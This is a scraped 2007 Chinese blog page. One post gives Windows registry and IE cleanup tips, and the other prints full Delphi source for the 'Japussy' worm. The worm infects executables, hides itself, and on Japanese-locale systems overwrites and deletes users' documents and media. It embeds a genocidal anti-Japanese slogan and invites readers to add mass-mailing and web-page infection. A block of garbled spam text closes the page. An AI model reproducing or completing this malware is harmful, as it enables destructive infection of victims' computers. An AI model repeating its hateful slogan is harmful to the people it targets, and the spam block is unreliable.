      在單擊鼠標右鍵所彈出的菜單中選擇“新建”子菜單,就會顯示出系統中已安裝應用程序所對應的新建文件。隨著系統中的應用程序越來越多,“新建”子菜單中的內容也會隨之增多。可是在計算機的日常使用中,用戶并不需要創建這么多類型的文件。其實我們完全可以通過修改注冊表來刪除“新建”菜單中的選項,而且操作并不復雜,只需啟動注冊表編輯器,將[HKEY_CLASSES_ROOT\.***](“.***”是要刪除項目的文件擴展名)下的“ShellNew”項刪除,然后退出注冊表編輯器并重新啟動計算機即可。

      我們以刪除“新建”子菜單中的“WinRAR壓縮文件”項為例;首先要找到[HKEY_LOCAL_MACHNESOFTWAREClasses\.rar],將其下的“ShellNew”項刪除,回到桌面,按下F5鍵刷新,接著再右擊桌面空白處,選擇“新建”,這時你就會發現原有的“WinRAR壓縮文件”已經消失了。

      4、刪除“打開方式”子菜單中的無用項

      右擊某個文件,有可能在右鍵菜單的“打開方式”子菜單中有些我們并不需要的程序,“.TXT”文件的“打開方式”中有三個程序,其實有些根本不會用到,這時只要到注冊表的[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts]和[HKEY_CLASSES_ROOTSystemFileAssociations]中找到相應擴展名項,然后在“OpenWithList”子項中刪除不需要的鍵值或項即可。

      我們以刪除文本文件右鍵菜單“打開方式”子菜單中的無用項為例;進入[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts\.txtOpenWithList]刪除右側窗格的相應鍵值,再進入[HKEY_CLASSES_ROOTSystemFileAssociationstextOpenWithList],刪除相應子項即可。

    二、 讓IE輕裝上陣

      隨著網絡技術的不斷發展,通過網絡溝通和交流已成為許多人日常生活的一部分,然而IE中的不和諧因素總是令人傷透了腦筋。窗口標題、默認首頁被改得面目全非;右鍵菜單、工具欄、工具條被強行加入各種各樣亂七八糟的內容等等,其實上面的這些情況,可以用3721上網助手全部解決。如果您的系統中沒有安裝的話,可在瀏覽器中打開assistant.3721.com,將上網助手下載并安裝到系統中,安裝完畢后,建議重新啟動一下系統再進行下一步操作。

      1、清理IE右鍵菜單

      在瀏覽器打開的網頁窗口中,右擊鼠標時,會彈出快捷菜單,從中,我們可以快速地進行諸如文件下載、圖片保存等很多項操作。但是,現在很多程序只要安裝到系統中,便自作主張地在IE右鍵菜單中添加相關的項目。長此以往,IE右鍵菜單不僅會變得很臃腫,而且會使彈出右鍵菜單的時間越來越長,影響系統的運行。因此,清理不需要的右鍵菜單項,十分有必要。

      首先啟動IE瀏覽器,然后單擊地址欄下面的“上網助手→修復IE→恢復IE外觀”,即可打開窗口:要想清理IE右鍵菜單,我們只要窗口中選擇“清理IE右鍵菜單”選項卡,即可打開新的窗口,中間的列表顯示了所有當前IE右鍵菜單中的項目,如果想清除哪項,只要用鼠標選擇它,再單擊“立即清理”按鈕即可。

      2、清理IE工具欄按鈕

      清理IE工具欄按鈕的方法與此類似。點擊“清理IE工具欄按鈕”,進入功能頁面:

      中間的列表顯示了IE工具欄上可以清除的按鈕。只需要點擊每項前面的復選框,然后點擊“立即清除”,即可去掉被選中的工具欄按鈕。

      重新打開一個IE窗口,可以看到被刪除的工具欄按鈕已經消失了。

      3、清理IE工具條

      由于IE的靈活性,它的工具條也是可以隨意添加的,在很多的工具條都想放到IE上的情況下,IE越發變得擁擠不堪了。

      另外,如果加載了超過3個以上的工具條,IE的啟動速度就會有所降低。這是因為IE在啟動時,會對需要加載的工具條進行初始化,完成一些設置。當只有1、2個工具條時,我們不會有所感覺。而超過3個以上,速度就會明顯降低。另外如果工具條的內容還需要從互聯網上即時下載下來,那么這個延遲就更明顯。所以建議大家最多只加載2個工具條。

      當然,IE也提供了不加載工具條的功能。點擊菜單“查看→工具欄”,可以看到IE中已經安裝的工具條,其中的“標準按鈕”、“地址欄”是最基本的,不應該刪除。其他的像“鏈接”等,沒有多少用處,可以不用加載。方法是點擊該項,其前面的“勾選”標記消失,而該項代表的工具條,也不再在IE中顯示了。不過很顯然,由于每去掉一個工具條,就需要刷新一次IE,因此這種操作比較麻煩。

      實際上我們可以用上網助手來完成這個操作。啟動IE瀏覽器,然后單擊地址欄下面的“上網助手→修復IE→恢復IE外觀”,要想清理IE工具條,我們只要在窗口中選擇“清理IE工具條”選項卡,即可打開新的窗口,中間的列表顯示了IE工具欄條中可以不加載的項。只需要點擊每項前面的復選框,然后點擊“立即清除”。重新打開一個IE窗口,可以看到該工具條沒有被加載。

      經過上述的清理,相信您的IE一定清爽了許多,而且由于卸掉了一些包袱,輕裝上陣,IE的啟動速度也快了不少吧!

    三、刪除無效的快捷方式

      大家都知道,不管是Windows 9x/Me還是加了SP1補丁的Windows XP,用得時間長了,系統中的各種垃圾文件和垃圾信息就會越來越多。而在Windows中還有一種不太為人所知的垃圾,那就是失效的快捷方式,比如已經修改了某個軟件(或文件)所在的文件夾,但其快捷方式依然指向原來的位置,或者已經卸載了軟件或刪除了文件,但相應快捷方式卻仍留在“開始→程序”、“開始→文檔”、“C:Progeam Files”等處,Windows用得越久,這些垃圾快捷方式越多,Windows也就會變得越來越臃腫,運行效率當然也越來越低了。這時候,你可以使用Windows優化大師進行清理,或使用OrphansRemover這款免費軟件(下載地址:http://www.digiarch.org/download/orphansremover.zip)來查找并清除它們。

      下載并安裝后,運行OrphansRemover,在軟件窗口上方的“Select folders to shortcut orphans:”和“lnclude shortcuts with broken links to:”項下選擇要掃描的文件夾及連接到移動存儲器、光盤等上的無效快捷方式。而“User defined search folder”文本框中則允許你指定文件夾。最后單擊窗口下方的“Start scan”按鈕開始掃描,完成掃描后單擊“Delete orphans”按鈕刪除無效快捷方式即可。

      另外,OrphansRemover這款軟件還支持命令行參數,比如“ D:program filesorphansremover orphansremover.exe recent startmenu-silent”可以清理“文檔”、“開始”菜單中的無效快捷方式,其中“recent”為“文檔”、“startmenu”為“開始”菜單,而“-silent”表示后臺安靜執行。其它參數請參考OrphansRemover安裝文件夾manual.html文件的相關說明。

    四、清理IE收藏夾

      在網上沖浪時,許多網站因為一時之需而收藏,但因為需求的結束而無用;還有一些網站,因為這樣或那樣的原因而關閉了,另外還有一些網站,在你訪問它的時候,它會自動添加進你的收藏夾……,上網時間久了,收藏夾可是越來越龐大了。如何快速地知道哪些網站地址已經失效,并刪除這些無效的網址呢?如果采取以往的逐個鏈接去檢測、清理的方法,肯定是費時費力,有沒有更好的辦法呢?這時免費的AM-Deadlink軟件就派上了用場,它能滿足您的需求。

      安裝并運行該軟件,在出現主窗口的同時會彈出語言選擇窗口,在下拉菜單中選擇“Chinese_gb”后軟件界面變為簡體中文,接著按F9鍵軟件開始對收藏夾中的網址進行校驗,建議按下工具欄上倒數第二個圖標,這樣在收藏夾列表窗口下方會出現瀏覽窗口,雙擊上面的網址可在此窗口中打開網頁,便于進一步的查看。

      對于網址不存在的,AM-Deadlink會在“狀態”欄中顯示“文件沒有發現”,這時先不要點擊“收藏夾→刪除”,因為很可能是你所收藏的網址是該網站中某個已經刪除的頁面,而實際上這個網站依然存在,所以請在下方的瀏覽窗口中單擊右側的錘子圖標按鈕,在出現的菜單中選擇“提高一級”看看是否會出現網站首頁,如果發現首頁沒有問題,可繼續選擇“以打開的URL地址替換書簽內URL”,重新設置網址。如果“提高一級”也不行的話,不用著急,可再選擇此菜單中的“搜尋Google”,AM-Deadlink會用網站的名稱在Google中搜尋(經測試發現對中文支持不好),讓你有機會找到網站的新網址。

      另外,目前不少網站提供了個性化的收藏夾圖標,如果你發現自己的收藏夾網址前面沒有任何圖標,可以按下“Favlcons→檢查書簽并下載收藏夾圖標”,它可以幫助您解決。同時AM-Deadlink軟件還具有備份收藏夾功能,它支持將收藏夾備份為ZIP文件,只需點擊“備份→Internet Explorer收藏夾(ZIP文件)”即可。

      軟件名稱:AM-Deadlink、軟件版本:2.01、軟件大小:779KB、軟件性質:免費軟件、適用平臺:Windows 9x/Me/NT/2000/XP、下載地址:http://www.onlinedown.net/soft/24238.htm

    五、清理無用字體

      1、刪除無用字體

      在文檔處理或美術設計的過程中,為了達到美觀或其它的要求,我們可能需要安裝并使用一些非系統自帶的各種特殊的字體。久而久之,系統里究竟安裝了多少種字體恐怕連自己也不太清楚了。實際上字體超過500種時,就會出現問題,比如:字體從應用程序的字體列表中消失以及Windows的啟動速度大幅下降。顯而易見,過多的字體不僅占用較多的系統資源,還會影響到Windows的整體表現。為了提升系統性能,建議您最好將用不到或者不常用的字體刪除。

      要想刪除無用或不常用的字體,就要知道哪些字體不能刪除。首先宋體不能刪除,它是系統默認的中文字體;屏幕字體文件(擴展名為.FON)不能隨意刪除,否則一些對話框中的文字會變成亂碼,甚至會導致Windows 98/Me無法啟動;“.SYS”為系統字體,在系統提示信息和圖標描述性文字中要用到這些字體,刪除后可能會導致系統崩潰;還有一些符號,如Marlett、Windings等字體,也不能隨意刪除。而且帶有這些文字的字體不要刪除:Arial、Courier、MS Serif、Tahoma、Verdana、Comic Sans、MS Sans Serif、Symbol、Time New Roman、Impact、Lucida Console、Marlett、Modem、Samall Fonts、Webdings、Windings、Roman、MS-DOS CP437、script、SIMHEI、SimSun&NSimSun、Palatino、Linotype、Microsoft、MS。

      另外,Windows中安裝了不少相似字體,在許多情況下是不必要而且幾乎不可能全都用到的,因此可以將相似的字體找出來,保留幾個最常用的,其他的都可以利用下面的方法移走。

      為了避免錯刪字體而導致的系統故障,值得推薦的方法是把字體移出“FONTS”文件夾,集中保存在另外的目錄,比如“D:fontsback”中。同時要為該文件創建一個快捷方式,并將其放在“開始”菜單或“快速啟動”欄上。當使用這些字體時,只需打開該文件夾,然后雙擊某個字體讓其顯示在預覽窗口,只要預覽窗口一打開,字體就裝載至內存,而且在任何應用程序的“字體”菜單中都能看到。用戶可以使用這種方式載入多種字體,等使用完這些字體后,只要關閉預覽窗口即可。

      2、用Font Frenzy清理無用字體

      Font Frenzy是一款免費注冊的字體工具,可以列表查看當前系統所安裝的所有字體,具有安裝和刪除字體的功能,也可以從系統字體目錄移動不使用的字體到指定文件夾,并能制作一個字體鏡像文件,以便以后使用該鏡像文件恢復到系統以前所安裝的那些字體配置。 如果想刪除所有Windows安裝后新增的字體,請先關閉所有正在運行的程序,單擊工具欄上的“Defrenzy”按鈕,接著單擊左側窗格中的“Defrenzy Now”按鈕,此時會彈出提示備份的對話框,單擊“是”按鈕后彈出保存備份的文件夾選擇,直接使用默認文件夾,按下“OK”按鈕,這時會彈出備份快照名稱輸入窗口,輸入易記憶的名稱并單擊“OK”按鈕,軟件會很快地把字體移動到備份文件夾中。如果出現了問題,可直接單擊“ReFrenzy”按鈕,然后選擇之前的備份快照進行恢復。

      當然,你也可以采取手動的方法進行字體移除。首先單擊工具欄上的“FrenzySnap”按鈕,接著單擊“Save Snapshot”按鈕保存一個快照,接著單擊工具欄上的“FrenzyMan”按鈕,在字體列表中勾選不需要的字體(特別是那些安裝Office之后的中文字體),然后在左側窗格中選擇“Uninstall & Store Fonts:”,單擊“Select”按鈕后這些字體便會從Windows的Fonts文件夾中移動到Font Frenzy默認的字體保存文件夾中。怎么樣?有了Font Frenzy這個好助手,你再也不會為字體問題而擔憂了吧!

    posted @ 2007-05-19 00:45 jadmin 閱讀(68) | 評論 (0)編輯 收藏

    program japussy;
    uses
    windows, sysutils, classes, graphics, shellapi{, registry};
    const
    headersize = 82432;??????????????? //病毒體的大小
    iconoffset = $12eb8;????????????? //pe文件主圖標的偏移量

    //在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
    //查找2800000020的十六進制字符串可以找到主圖標的偏移量
    ??
    {
    headersize = 38912;??????????????? //upx壓縮過病毒體的大小
    iconoffset = $92bc;??????????????? //upx壓縮過pe文件主圖標的偏移量

    //upx 1.24w 用法: upx -9 --8086 japussy.exe
    }
    iconsize????? = $2e8;??????????????? //pe文件主圖標的大小--744字節
    icontail????? = iconoffset + iconsize; //pe文件主圖標的尾部
    id????????? = $44444444;??????????? //感染標記

    //垃圾碼,以備寫入
    catchword = 'if a race need to be killed out, it must be yamato. ' +
    ?????????? 'if a country need to be destroyed, it must be japan! ' +
    ?????????? '*** w32.japussy.worm.a ***';
    {$r *.res}
    function registerserviceprocess(dwprocessid, dwtype: integer): integer;
    stdcall; external 'kernel32.dll'; //函數聲明
    var
    tmpfile: string;
    si:??????? startupinfo;
    pi:??????? process_information;
    isjap:????? boolean = false; //日文操作系統標記
    { 判斷是否為win9x }
    function iswin9x: boolean;
    var
    ver: tosversioninfo;
    begin
    result := false;
    ver.dwosversioninfosize := sizeof(tosversioninfo);
    if not getversionex(ver) then
    ???? exit;
    if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
    ???? result := true;
    end;
    { 在流之間復制 }
    procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
    dstartpos: integer; count: integer);
    var
    scurpos, dcurpos: integer;
    begin
    scurpos := src.position;
    dcurpos := dst.position;
    src.seek(sstartpos, 0);
    dst.seek(dstartpos, 0);
    dst.copyfrom(src, count);
    src.seek(scurpos, 0);
    dst.seek(dcurpos, 0);
    end;
    { 將宿主文件從已感染的pe文件中分離出來,以備使用 }
    procedure extractfile(filename: string);
    var
    sstream, dstream: tfilestream;
    begin
    try
    ???? sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
    ???? try
    ?????? dstream := tfilestream.create(filename, fmcreate);
    ?????? try
    ?????? sstream.seek(headersize, 0); //跳過頭部的病毒部分
    ?????? dstream.copyfrom(sstream, sstream.size - headersize);
    ?????? finally
    ?????? dstream.free;
    ?????? end;
    ???? finally
    ?????? sstream.free;
    ???? end;
    except
    end;
    end;
    { 填充startupinfo結構 }
    procedure fillstartupinfo(var si: startupinfo; state: word);
    begin
    si.cb := sizeof(si);
    si.lpreserved := nil;
    si.lpdesktop := nil;
    si.lptitle := nil;
    si.dwflags := startf_useshowwindow;
    si.wshowwindow := state;
    si.cbreserved2 := 0;
    si.lpreserved2 := nil;
    end;
    { 發帶毒郵件 }
    procedure sendmail;
    begin
    //哪位仁兄愿意完成之?
    end;
    { 感染pe文件 }
    procedure infectonefile(filename: string);
    var
    hdrstream, srcstream: tfilestream;
    icostream, dststream: tmemorystream;
    iid: longint;
    aicon: ticon;
    infected, ispe: boolean;
    i: integer;
    buf: array[0..1] of char;
    begin
    try //出錯則文件正在被使用,退出
    ???? if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
    ?????? exit;
    ???? infected := false;
    ???? ispe????? := false;
    ???? srcstream := tfilestream.create(filename, fmopenread);
    ???? try
    ?????? for i := 0 to $108 do //檢查pe文件頭
    ?????? begin
    ?????? srcstream.seek(i, sofrombeginning);
    ?????? srcstream.read(buf, 2);
    ?????? if (buf[0] = #80) and (buf[1] = #69) then //pe標記
    ?????? begin
    ???????? ispe := true; //是pe文件
    ???????? break;
    ?????? end;
    ?????? end;
    ?????? srcstream.seek(-4, sofromend); //檢查感染標記
    ?????? srcstream.read(iid, 4);
    ?????? if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
    ?????? infected := true;
    ???? finally
    ?????? srcstream.free;
    ???? end;
    ???? if infected or (not ispe) then //如果感染過了或不是pe文件則退出
    ?????? exit;
    ???? icostream := tmemorystream.create;
    ???? dststream := tmemorystream.create;
    ???? try
    ?????? aicon := ticon.create;
    ?????? try
    ?????? //得到被感染文件的主圖標(744字節),存入流
    ?????? aicon.releasehandle;
    ?????? aicon.handle := extracticon(hinstance, pchar(filename), 0);
    ?????? aicon.savetostream(icostream);
    ?????? finally
    ?????? aicon.free;
    ?????? end;
    ?????? srcstream := tfilestream.create(filename, fmopenread);
    ?????? //頭文件
    ?????? hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
    ?????? try
    ?????? //寫入病毒體主圖標之前的數據
    ?????? copystream(hdrstream, 0, dststream, 0, iconoffset);
    ?????? //寫入目前程序的主圖標
    ?????? copystream(icostream, 22, dststream, iconoffset, iconsize);
    ?????? //寫入病毒體主圖標到病毒體尾部之間的數據
    ?????? copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
    ?????? //寫入宿主程序
    ?????? copystream(srcstream, 0, dststream, headersize, srcstream.size);
    ?????? //寫入已感染的標記
    ?????? dststream.seek(0, 2);
    ?????? iid := $44444444;
    ?????? dststream.write(iid, 4);
    ?????? finally
    ?????? hdrstream.free;
    ?????? end;
    ???? finally
    ?????? srcstream.free;
    ?????? icostream.free;
    ?????? dststream.savetofile(filename); //替換宿主文件
    ?????? dststream.free;
    ???? end;
    except;
    end;
    end;
    { 將目標文件寫入垃圾碼后刪除 }
    procedure smashfile(filename: string);
    var
    filehandle: integer;
    i, size, mass, max, len: integer;
    begin
    try
    ???? setfileattributes(pchar(filename), 0); //去掉只讀屬性
    ???? filehandle := fileopen(filename, fmopenwrite); //打開文件
    ???? try
    ?????? size := getfilesize(filehandle, nil); //文件大小
    ?????? i := 0;
    ?????? randomize;
    ?????? max := random(15); //寫入垃圾碼的隨機次數
    ?????? if max < 5 then
    ?????? max := 5;
    ?????? mass := size div max; //每個間隔塊的大小
    ?????? len := length(catchword);
    ?????? while i < max do
    ?????? begin
    ?????? fileseek(filehandle, i * mass, 0); //定位
    ?????? //寫入垃圾碼,將文件徹底破壞掉
    ?????? filewrite(filehandle, catchword, len);
    ?????? inc(i);
    ?????? end;
    ???? finally
    ?????? fileclose(filehandle); //關閉文件
    ???? end;
    ???? deletefile(pchar(filename)); //刪除之
    except
    end;
    end;
    { 獲得可寫的驅動器列表 }
    function getdrives: string;
    var
    disktype: word;
    d: char;
    str: string;
    i: integer;
    begin
    for i := 0 to 25 do //遍歷26個字母
    begin
    ???? d := chr(i + 65);
    ???? str := d + ':\';
    ???? disktype := getdrivetype(pchar(str));
    ???? //得到本地磁盤和網絡盤
    ???? if (disktype = drive_fixed) or (disktype = drive_remote) then
    ?????? result := result + d;
    end;
    end;
    { 遍歷目錄,感染和摧毀文件 }
    procedure loopfiles(path, mask: string);
    var
    i, count: integer;
    fn, ext: string;
    subdir: tstrings;
    searchrec: tsearchrec;
    msg: tmsg;
    function isvaliddir(searchrec: tsearchrec): integer;
    begin
    ???? if (searchrec.attr <> 16) and (searchrec.name <> '.') and
    ?????? (searchrec.name <> '..') then
    ?????? result := 0 //不是目錄
    ???? else if (searchrec.attr = 16) and (searchrec.name <> '.') and
    ?????? (searchrec.name <> '..') then
    ?????? result := 1 //不是根目錄
    ???? else result := 2; //是根目錄
    end;
    begin
    if (findfirst(path + mask, faanyfile, searchrec) = 0) then
    begin
    ???? repeat
    ?????? peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
    ?????? if isvaliddir(searchrec) = 0 then
    ?????? begin
    ?????? fn := path + searchrec.name;
    ?????? ext := uppercase(extractfileext(fn));
    ?????? if (ext = '.exe') or (ext = '.scr') then
    ?????? begin
    ???????? infectonefile(fn); //感染可執行文件?????
    ?????? end
    ?????? else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
    ?????? begin
    ???????? //感染html和asp文件,將base64編碼后的病毒寫入
    ???????? //感染瀏覽此網頁的所有用戶
    ???????? //哪位大兄弟愿意完成之?
    ?????? end
    ?????? else if ext = '.wab' then //outlook地址簿文件
    ?????? begin
    ???????? //獲取outlook郵件地址
    ?????? end
    ?????? else if ext = '.adc' then //foxmail地址自動完成文件
    ?????? begin
    ???????? //獲取foxmail郵件地址
    ?????? end
    ?????? else if ext = 'ind' then //foxmail地址簿文件
    ?????? begin
    ???????? //獲取foxmail郵件地址
    ?????? end
    ?????? else
    ?????? begin
    ???????? if isjap then //是倭文操作系統
    ???????? begin
    ?????????? if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
    ?????????? (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
    ?????????? (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
    ?????????? (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
    ?????????? (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
    ?????????? (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
    ???????????? smashfile(fn); //摧毀文件
    ???????? end;
    ?????? end;
    ?????? end;
    ?????? //感染或刪除一個文件后睡眠200毫秒,避免cpu占用率過高引起懷疑
    ?????? sleep(200);
    ???? until (findnext(searchrec) <> 0);
    end;
    findclose(searchrec);
    subdir := tstringlist.create;
    if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
    begin
    ???? repeat
    ?????? if isvaliddir(searchrec) = 1 then
    ?????? subdir.add(searchrec.name);
    ???? until (findnext(searchrec) <> 0);
    ???? end;
    findclose(searchrec);
    count := subdir.count - 1;
    for i := 0 to count do
    ???? loopfiles(path + subdir.strings + '\', mask);
    freeandnil(subdir);
    end;
    { 遍歷磁盤上所有的文件 }
    procedure infectfiles;
    var
    driverlist: string;
    i, len: integer;
    begin
    if getacp = 932 then //日文操作系統
    ???? isjap := true; //去死吧!
    driverlist := getdrives; //得到可寫的磁盤列表
    len := length(driverlist);
    while true do //死循環
    begin
    ???? for i := len downto 1 do //遍歷每個磁盤驅動器
    ?????? loopfiles(driverlist + ':\', '*.*'); //感染之
    ???? sendmail; //發帶毒郵件
    ???? sleep(1000 * 60 * 5); //睡眠5分鐘
    end;
    end;
    { 主程序開始 }
    begin
    if iswin9x then //是win9x
    ???? registerserviceprocess(getcurrentprocessid, 1) //注冊為服務進程
    else //winnt
    begin
    ???? //遠程線程映射到explorer進程
    ???? //哪位兄臺愿意完成之?
    end;
    //如果是原始病毒體自己
    if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
    ???? infectfiles //感染和發郵件
    else //已寄生于宿主程序上了,開始工作
    begin
    ???? tmpfile := paramstr(0); //創建臨時文件
    ???? delete(tmpfile, length(tmpfile) - 4, 4);
    ???? tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
    ???? extractfile(tmpfile); //分離之
    ???? fillstartupinfo(si, sw_showdefault);
    ???? createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
    ?????? 0, nil, '.', si, pi); //創建新進程運行之
    ???? infectfiles; //感染和發郵件
    end;
    end.

    (完)

    posted @ 2007-05-18 20:32 jadmin 閱讀(64) | 評論 (0)編輯 收藏
    僅列出標題
    共50頁: First 上一頁 42 43 44 45 46 47 48 49 50 下一頁 
    主站蜘蛛池模板: 中文字幕亚洲综合精品一区| 国产亚洲精品a在线观看| 免费大片黄手机在线观看| 亚洲国产成人久久精品99| 国产AV无码专区亚洲AV男同 | 国产亚洲一区二区精品| 1区1区3区4区产品亚洲| 91丁香亚洲综合社区| 特级毛片A级毛片免费播放| 最近更新免费中文字幕大全| 91网站免费观看| 亚洲第一永久AV网站久久精品男人的天堂AV | 美女视频黄a视频全免费| 国产精品国产午夜免费福利看| 亚洲区小说区图片区QVOD| 亚洲美女视频免费| 色五月五月丁香亚洲综合网| a在线免费观看视频| 国产99视频精品免费观看7| 亚洲A∨精品一区二区三区| 香蕉视频在线观看亚洲| 亚洲欧美日韩综合俺去了| 中文字幕无码免费久久9一区9| 波多野结衣中文字幕免费视频| 四虎AV永久在线精品免费观看| 久久精品国产精品亚洲艾| 亚洲色中文字幕在线播放| 久久最新免费视频| 成人免费午夜视频| 久久精品亚洲中文字幕无码网站| 亚洲欧美中文日韩视频| 无码精品一区二区三区免费视频 | 亚洲自偷自偷在线制服 | 成人免费区一区二区三区| 成人毛片免费网站| 久久亚洲精品国产精品黑人| 国产精品亚洲а∨天堂2021| 日本免费网站视频www区| 久久亚洲精品无码播放| 亚洲精品一卡2卡3卡四卡乱码| 久久国产精品免费网站|